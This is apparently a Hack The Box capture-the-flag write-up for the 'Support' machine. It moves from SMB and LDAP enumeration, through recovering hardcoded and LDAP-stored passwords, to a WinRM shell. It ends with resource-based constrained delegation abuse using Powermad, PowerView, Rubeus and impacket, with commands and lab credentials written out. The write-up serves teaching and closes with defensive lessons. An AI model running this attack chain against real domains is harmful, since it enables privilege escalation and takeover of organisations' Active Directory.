7 minutes
HTB Writeup: Support
Enumeration
Full TCP nmap scan:
# Nmap 7.92 scan initiated Thu Aug 4 00:57:30 2022 as: nmap -v -sV -sC -p- -oN full_tcp.nmap 10.129.155.5
Nmap scan report for 10.129.155.5
Host is up (0.048s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-04 04:59:23Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49682/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-time:
| date: 2022-08-04T05:00:13
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 4 01:00:54 2022 -- 1 IP address (1 host up) scanned in 204.20 seconds
Start enumerating SMB 139/445
smbclient --no-pass -L //10.129.155.5
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.155.5 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
support-tools seems interesting…
smbclient --no-pass //10.129.155.5/support-tools
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 20 13:01:06 2022
.. D 0 Sat May 28 07:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 07:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 07:19:55 2022
putty.exe A 1273576 Sat May 28 07:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 07:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 13:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 07:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 07:19:43 2022
4026367 blocks of size 4096. 884688 blocks available
smb: \>
Looks like standard helpdesk support tools except for UserInfo.exe.zip
.
Download the file
smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (670.8 KiloBytes/sec) (average 670.8 KiloBytes/sec)
smb: \>
Unzip it and it’s a bunch of DLLs and an exe. Running file
against the exe tells us that it is a .NET assembly.
┌──(kali㉿kali)-[~/Targets/HTB/Support/UserInfo]
└─$ ls
CommandLineParser.dll System.Memory.dll
Microsoft.Bcl.AsyncInterfaces.dll System.Numerics.Vectors.dll
Microsoft.Extensions.DependencyInjection.Abstractions.dll System.Runtime.CompilerServices.Unsafe.dll
Microsoft.Extensions.DependencyInjection.dll System.Threading.Tasks.Extensions.dll
Microsoft.Extensions.Logging.Abstractions.dll UserInfo.exe
System.Buffers.dll UserInfo.exe.config
┌──(kali㉿kali)-[~/Targets/HTB/Support/UserInfo]
└─$ file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
So throw it in dnSpy. (A decompiler and debugger)
Going to UserInfo.Services.Protected
class, I found a hardcoded password that appears to be encrypted. Lucky enough the developer also hardcoded the encryption key…… facepalm
So the easiest way I found was to copypasta the C# code into my own little project to print out the password in plaintext using the UserInfo.Services.Protected.getPassword()
method.
So on my kali machine:
dotnet new console
creates a new console application.
Paste the source code into it.
Remove the namespacing stuff.
Fix a casting error by casting to byte
.
Create a Main method that will Console.Writeline()
out the password.
dotnet run
will run the code and print out the password in plaintext.
Reviewing the rest of the source code I noticed that LdapQuery
class had a hardcoded username. “domain\\username”
Taking that information I can use CrackMapExec to enumerate users with the valid LDAP credentials.
CME is a bit limited in how much LDAP enumeration you can do. So I used ldapdomaindump
to dump the entire LDAP domain and look for anything interesting. The way I like to do it is:
mkdir ldapdump.dir && cd ldapdump.dir
└─$ ldapdomaindump -u support\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -m 10.129.81.17
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
It will output a lot of files in different formats. But you can start a web server and view the HTML files in your browser.
python3 -m http.server 8000
Reading through the output I saw that the suport
user is in the Remote Management Users group which maybe the way in (WinRM).
Sadly, that same password does not work for the user support
After trying a bunch of different things that did not work, I went back and enumerated ldap again with a different tool. This time I used ldapsearch
ldapsearch -x -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"
Looking through the ldapsearch output, I found the support
user, and in the info section found what appeared to be a password.
Since the support
user is in the remote management group. Now we can use evil-winrm
to get a shell to the machine.
evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful
Next I’ll use BloodHound to try to find a privilege escalation path. To do that first I download SharpHound.ps1 onto the target machine, then you import the module and invoke bloodhound with
Invoke-Module -CollectionMethod All
This will create a zip file with all of the data needed to import into BloodHound. Next we download the zip file onto the attack machine where bloodhound and neo4j are running and import the zip file into BloodHound
Next we will search for the owned user “support@support.htb” and view the Node Info.
In the Node Info > Outbound Control Rights, there is a 1 next to “Group Delegated Object Control” so we will select that. Then the BloodHound graph will change and you will see that the support user is a MemberOf
“SHARED SUPPORT ACCOUNTS@SUPPORT.HTB” which has the GenericAll
permission for DC.SUPPORT.HTB
If you click on the GenericAll
graph edge, then right click > Help > Abuse Info. BloodHound will nicely tell you how to perform a kerberos resource based contrained delegation attack to get full control of a computer object.
So at this point it is just following the abuse info steps >:)
- Download Powermad.ps1 on to target.
- Add a new attacker-controlled computer account.
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
3. Next load PowerView from PowerSploit PowerSploit and execute
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
- We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
- Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we’re taking over, again using PowerView in this case:
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Next we will need to build Rubeus
Transfer it over to the victim machine..
- On the victim machine run to hash the plaintext password into its RC4_HMAC form:
Rubeus.exe hash /password:Summer2018!
- Lastly, we can use Rubeus’ s4u module to get a service ticket for the service name (sname) we want to “pretend” to be “admin” for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER.
./Rubeus.exe s4u /user:attackersystem /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /ptt
Since this is base64 encoded, we base64 decode it and save it as admin.kirbi.
Then convert from .kirbi to .ccache: ticketConverter.py is from impacket.
┌──(kali㉿kali)-[~/Targets/HTB/machines/Support]
└─$ ./ticketConverter.py ./admin.kirbi admin.ccache
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] converting kirbi to ccache...
[+] done
Finally, we’ll use wmiexec from impacket to get an admin shell.
Lessons Learned
- Do not hardcode passwords in source code! If they are encrypted but the decryption routine is built into source, is the equivalent of hardcoding plaintext passwords! Just don’t do it!
- LDAP description fields are not a safe way to store passwords!
Based on this RBCD Abuse article,
- Lockdown and understand Active Directory permissions within your environment. Knowing who has access to Active Directory is pertinent to securing it. Being able to modify a computer objects attribute is just one avenue that an attacker can use to exploit your environment.
- Ensure that sensitive accounts that should not be delegated are marked as such.